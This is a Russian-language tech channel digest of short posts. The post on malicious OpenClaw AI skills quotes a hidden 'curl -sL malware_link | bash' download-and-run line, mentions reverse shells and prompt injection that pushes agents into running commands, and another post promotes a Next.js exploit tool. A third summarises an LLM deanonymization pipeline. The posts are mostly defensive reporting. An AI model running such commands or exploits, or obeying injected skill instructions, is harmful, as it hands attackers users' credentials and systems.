‍🔐 HackerAI - простой способ проверить кибербезопасность без команды хакеров

В X активно обсуждают HackerAI — сервис, который использует ИИ для автоматического поиска уязвимостей в сайтах, приложениях и коде. Идея в том, чтобы сделать базовый аудит безопасности доступным не только специалистам по пентесту.

Как это работает
Загружаешь проект, код или указываешь сайт — система проводит анализ и показывает потенциальные слабые места и риски.

Что умеет
— Ищет проблемы в логике работы и настройках
— Подсвечивает возможные уязвимости
— Объясняет, где именно проблема и почему это риск
— Работает как ИИ-ассистент, а не как сложный профессиональный софт
— Доступен онлайн и в десктоп-версии

Кому полезно
— Стартапам без выделенной security-команды
— Разработчикам и веб-студиям
— Администраторам сайтов и сервисов
— Фрилансерам
— Всем, кто запускает веб-проекты и хочет снизить риски

Главная ценность - быстро увидеть очевидные проблемы безопасности до того, как ими воспользуется кто-то другой.

https://hackerai.co/download

@linux_education

⚡️ Найди любого человека в файлах Эпштейна с помощью Python!

Этот репозиторий позволяет проверить, упоминаются ли ваши контакты в открытых судебных документах по делу Эпштейна.

Инструмент анализирует список имён (например, из LinkedIn) и ищет точные совпадения в опубликованных судебных материалах. В результате вы получаете удобный HTML-отчёт со всеми найденными упоминаниями.


Что умеет:

- Поиск по базе судебных документов
- Сортировка упоминаний по количеству
- Генерация наглядного HTML-отчёта
- Работа с файлами контактов (CSV)

Проверь своего друга, не был ли он замечен на печально известном острове.

Клонируем репозиторий
git clone https://github.com/cfinke/EpsteIn.git
cd EpsteIn

Установка зависимостей
pip install -r requirements.txt

Подготовьте CSV-файл с именами (по одному имени в строке)
example.csv:
Oleg Petrov
Nikolay Sobolev

Запуск анализа
python epstein.py example.csv

После выполнения будет создан HTML-отчет с найденными совпадениями

https://github.com/cfinke/EpsteIn

@linux_education

✔️ OpenAI обвинила DeepSeek в краже знаний через дистилляцию.

В меморандуме для Комитета Палаты представителей по Китаю OpenAI пожаловалась, что DeepSeek обучала свои модели на выходных данных чужих моделей для воспроизведения возможностей американских ИИ-систем.

По данным компании, сотрудники DeepSeek применяли сторонние роутеры и программный доступ к API, чтобы обойти защитные механизмы. OpenAI также указала на теневых реселлеров своих сервисов. Заблокировать их активность пока безрезультатны: методы обфускации становятся все изощреннее.

Помимо бизнес-угрозы, китайские модели бесплатны, тогда как американские ИИ-гиганты инвестировали миллиарды в инфраструктуру.

https://www.bloomberg.com/news/articles/2026-02-12/openai-accuses-deepseek-of-distilling-us-models-to-gain-an-edge

@linux_education

2000
Линус Торвальдс:
«Разговоры ничего не стоят.
Покажите мне код.»

2026
ИИ:
«Код ничего не стоит.
Покажите мне промпт»

@linux_education

‍⚡️ Хакеры начали атаковать пользователей Windows через фейковые CAPTCHA.

Схема простая.
На сайте появляется «проверка Cloudflare», но вместо обычных картинок пользователя просят:
- нажать Win + R
- вставить текст
- нажать Enter

В буфер обмена уже подставлена PowerShell-команда.
После запуска она скачивает и устанавливает вредонос (StealC).

Что происходит дальше:
- кража паролей из браузеров
- доступ к Outlook и почте
- выгрузка криптокошельков
- данные Steam и других сервисов
- системная информация и скриншоты

Почему это опасно
Файл не скачивается вручную.
Пользователь сам запускает вредонос — защита часто не срабатывает.

Метод называется ClickFix — и он активно распространяется, потому что выглядит как обычная проверка безопасности.

Главный вывод
Если сайт просит выполнить что-то через Win + R, PowerShell или Terminal — это почти наверняка атака.

Сегодня главный вектор взлома - не уязвимости системы, а доверие пользователя.

https://www.windowscentral.com/microsoft/windows/windows-pc-targeted-by-hackers-in-a-fake-captcha-scam

@linux_education

‍⚡️ AI-плагины стали новым вектором атак

В маркетплейсе навыков OpenClaw самый скачиваемый скилл оказался вредоносным.

Что произошло

- Обнаружено 1 184 вредоносных навыка
- Один атакующий загрузил 677 пакетов
- Плагины маскировались под:
- crypto-боты
- YouTube-саммаризаторы
- wallet-трекеры
- Документация выглядела профессионально и вызывала доверие

Как работала атака

В файле SKILL.md скрывалась инструкция:

curl -sL malware_link | bash


После выполнения устанавливался Atomic Stealer (macOS), который собирал:

- пароли браузеров
- SSH-ключи
- Telegram-сессии
- криптокошельки
- API-ключи из .env
- данные из Keychain

На других системах открывался reverse shell — атакующий получал полный удалённый доступ к машине.

Дополнительно

- Топ-1 скилл (What Would Elon Do) содержал 9 уязвимостей, из них 2 критические
- Использовал prompt injection для обхода защит
- Рейтинг был накручен
- Скачан тысячи раз

Почему это важно

ClawHub позволял публиковать плагины любому — достаточно GitHub-аккаунта старше одной недели.

Теперь риск выше, чем в классических supply chain атаках.

Раньше:
— вредоносный пакет выполнялся автоматически

Теперь:
— плагин убеждает пользователя или агента выполнить команду
— AI сам может получить доступ к системе, данным и ключам

AI-агенты становятся новой целью supply chain-атак.

Если агент имеет доступ к файлам, терминалу и API — вредоносный скилл получает доступ ко всей цифровой инфраструктуре.

Вывод

Перед установкой AI-плагинов:
- проверяйте исходный код
- не запускайте команды из документации вслепую
- ограничивайте доступ агента к системе и ключам

В эпоху агентного AI безопасность важнее удобства.

@linux_education

🖥 Как случайно сделать DDoS своим же кодом

Как случайно устроить DDoS самому себе - самый частый сценарий это когда ты запускаешь 1000 запросов параллельно и думаешь, что ускоряешься, а на деле убиваешь свой же сервис или сайт.

Что ломает всё быстрее всего:

Нет лимитов на конкурентность - корутины или потоки плодятся бесконечно

Нет пула соединений - каждый запрос создаёт новый коннект и душит сеть

Нет таймаутов - зависшие запросы копятся и съедают ресурсы

Нет ретраев с backoff - ты усиливаешь нагрузку, когда системе и так плохо

Нет rate limit - ты сам становишься источником перегруза

Правильная база - всегда ограничивай параллелизм семафором, используй один клиент с пулом, ставь таймауты и делай аккуратные ретраи.


import asyncio
import httpx

URLS = ["https://example.com"] * 500

async def fetch(client, sem, url):
async with sem: # лимит конкурентности
r = await client.get(url, timeout=10.0)
return r.status_code

async def main():
sem = asyncio.Semaphore(20) # не больше 20 запросов одновременно
limits = httpx.Limits(max_connections=50, max_keepalive_connections=20)
async with httpx.AsyncClient(limits=limits) as client: # пул соединений
tasks = [fetch(client, sem, u) for u in URLS]
results = await asyncio.gather(*tasks, return_exceptions=True)
print("done:", len(results))

asyncio.run(main())

@linux_education

⚡️ Пентагон может разорвать сотрудничество с Anthropic.

Причина - компания отказалась разрешить использование своих моделей для «любых законных целей».

Anthropic настаивает на жестких ограничениях:

- запрет на массовую внутреннюю слежку
- запрет на полностью автономное оружие без участия человека

Конфликт обострился после спорного случая использования Claude в военной операции.
Это показало более глубокую проблему.

С одной стороны - Пентагон хочет максимально свободное применение ИИ.
С другой - Anthropic придерживается строгой политики безопасности и этики.

И здесь возникает парадокс:

Высокие этические стандарты начинают мешать бизнесу.

Главный вопрос на будущее:

Сможет ли компания сохранить принципы и при этом конкурировать на рынке, где государственные контракты - это миллиарды?

https://www.axios.com/2026/02/15/claude-pentagon-anthropic-contract-maduro

@linux_education

✔️ Простое устранение ошибок в Linux

В Linux проще всего начинать устранение ошибок с проверки логов и статуса сервисов: сначала понять, *что именно сломалось*, а уже потом менять настройки.

Смотрите логи, проверяйте, запущена ли служба, и воспроизводите ошибку — так вы почти всегда быстро найдёте причину.



посмотреть последние сообщения ядра
dmesg | tail -30

# общ systemd-логи
journalctl -xe

# логи конкретного сервиса
journalctl -u nginx --since "10 min ago"

# проверить, запущен ли сервис
systemctl status nginx

# перезапустить сервис (если конфиг исправен)
sudo systemctl restart nginx

# поиск ошибки по ключевому слову
grep -i "error" /var/log/syslog | tail -20

# следить за логом в реальном времени
tail -f /var/log/app.log

# проверить, какой порт занят
sudo lsof -i -P -n | grep LISTEN

# проверить права на файл
ls -l /path/to/file

@linux_education

Это репозиторий с реализацией DensePose через Wi-Fi-сигналы — то есть попытка получать плотные представления (DensePose) тела людей на основе Wi-Fi-данных, а не обычной камеры.

Такая идея может использоваться для анализа движения через радиосигналы в помещении, без видео-камер, с акцентом на приватность.

Если тебе интересны нестандартные подходы к компьютерному зрению, беспроводным сигналам и сенсорике без камер — обязательно посмотри.


🔗 Есть интересный проект: https://github.com/ruvnet/wifi-densepose

@linux_education

‍Анонимность в интернете больше не стоит считать надёжной.

Теперь человека можно раскрыть примерно за $1 - и не спецслужбами, а любым, у кого есть доступ к Claude или ChatGPT и несколько его анонимных постов.

ETH Zürich и Anthropic опубликовали исследование “Large-Scale Online Deanonymization with LLMs”, в котором показали автоматическую систему деанонимизации.

Как работает система:

Она полностью автономно:
- анализирует анонимные посты
- извлекает личностные сигналы (интересы, стиль, факты)
- ищет совпадения в интернете
- определяет, кто стоит за аккаунтом

Работает на разных платформах: Reddit, Hacker News, LinkedIn и даже на отредактированных интервью.

Результаты:

- Hacker News — 67% пользователей идентифицированы
- Если система делала предположение — 90% точности
- Reddit (учёные под псевдонимами) — 52%
- Интервью с удалёнными личными данными — 9 из 33 всё равно раскрыты

Пайплайн состоит из четырёх этапов (ESRC):

1. Extract — извлечение идентификационных сигналов из текста
2. Search — поиск кандидатов через embeddings по тысячам профилей
3. Reason — логическое сопоставление кандидатов (LLM)
4. Calibrate — оценка уверенности, чтобы ошибки были минимальны

Старые методы деанонимизации (например, атака времён Netflix Prize) показали почти нулевую эффективность.
LLM не просто улучшили подход — они сделали прежние методы практически бесполезными.

Даже если пользователь меняет интересы и темы, система всё равно находит совпадения:
- 67% совпадений при точности 90%
- 38% при точности 99%

Чем мощнее модель — тем выше вероятность деанонимизации.
Каждое улучшение reasoning-возможностей усиливает такую атаку.

Почему это трудно остановить:

Каждый шаг выглядит безобидно:
- суммаризация текста
- вычисление embeddings
- ранжирование профилей

Ни один отдельный запрос не выглядит как попытка деанонимизации, поэтому фильтры и лимиты почти бесполезны.

Вывод исследователей:

> Пользователи, которые пишут под постоянными псевдонимами, должны исходить из того, что их аккаунты могут быть связаны с реальной личностью.

По прогнозам, даже среди 1 миллиона кандидатов система может достигать ~35% совпадений при точности 90%.

Фактически:
каждый анонимный аккаунт, каждый комментарий и каждое «это никто со мной не свяжет» — теперь превращаются в поисковые микроданные.

Практическая анонимность в интернете становится всё менее реальной.

arxiv.org/pdf/2602.16800

@linux_education

💡 Маленький bash-трюк, который может спасти файлы

По умолчанию в shell команда с > молча перезаписывает файл.
Один неудачный редирект - и нужные данные исчезли.

Пример:


echo "This is a sample line" > hello.txt


Файл создастся или будет перезаписан без предупреждения.

Как защититься

Включаем режим защиты от перезаписи:


set -o noclobber


Теперь попытка перезаписать существующий файл через > даст ошибку:


echo "New lines to replace" > hello.txt
# bash: hello.txt: cannot overwrite existing file


То есть shell не даст случайно затереть файл.

А если всё-таки нужно перезаписать

Используется специальный оператор:


echo "New lines to replace" >| hello.txt

>| игнорирует noclobber и осознанно разрешает перезапись.

Вывод

> - опасен, перезаписывает молча


set -o noclobber - защита от случайных потерь


>| - осознанное "да, я точно хочу перезаписать"

Отличная привычка для серверов, продакшена и работы с важными логами.

@linux_education

‍⚡️ Вышла интересная модель для безопасности кода - VulnLLM-R-7B.

Это reasoning-LLM, специально обученный искать уязвимости так, как это делает пентестер.

Главная особенность:

Модель не просто ищет подозрительные паттерны.
Она рассуждает по потокам данных и логике выполнения, чтобы понять, где именно возникает риск.

Что умеет VulnLLM-R-7B:

— Анализирует data flow и control flow, а не только синтаксис
— Проводит пошаговый разбор уязвимости
— Объясняет почему код опасен простым языком
— Работает с реальными сценариями, а не только с учебными примерами

По результатам тестов:

— Показывает state-of-the-art на наборах PrimeVul и Juliet
— Обходит CodeQL, традиционные статические анализаторы и даже крупные коммерческие LLM
— При этом модель компактная — всего 7B параметров, быстрее и дешевле в использовании

Безопасность кода постепенно переходит от «поиска шаблонов» к логическому анализу поведения программы.
И небольшие специализированные модели начинают выигрывать у больших универсальных.

Модель: huggingface.co/UCSB-SURFI/VulnLLM-R-7B

@linux_education

⚛️ React2Shell Scanner - Эксплуатация уязвимости CVE-2025-55182

Интерактивный инструмент для эксплуатации уязвимости в Next.js, позволяющий выполнять команды, загружать файлы и эскалировать привилегии. Обеспечивает удобный интерфейс и автоматизацию процессов для тестирования безопасности.

🚀 Основные моменты:
- Однофайловый исполняемый файл без внешних зависимостей.
- Полноценный интерактивный терминал с историей команд.
- Авто-эскалация привилегий с помощью инъекций.
- Надежные операции с файлами и кодирование для обхода фильтров.

📌 GitHub: https://github.com/ula7i921011/React2Shell-Scanner

@linux_education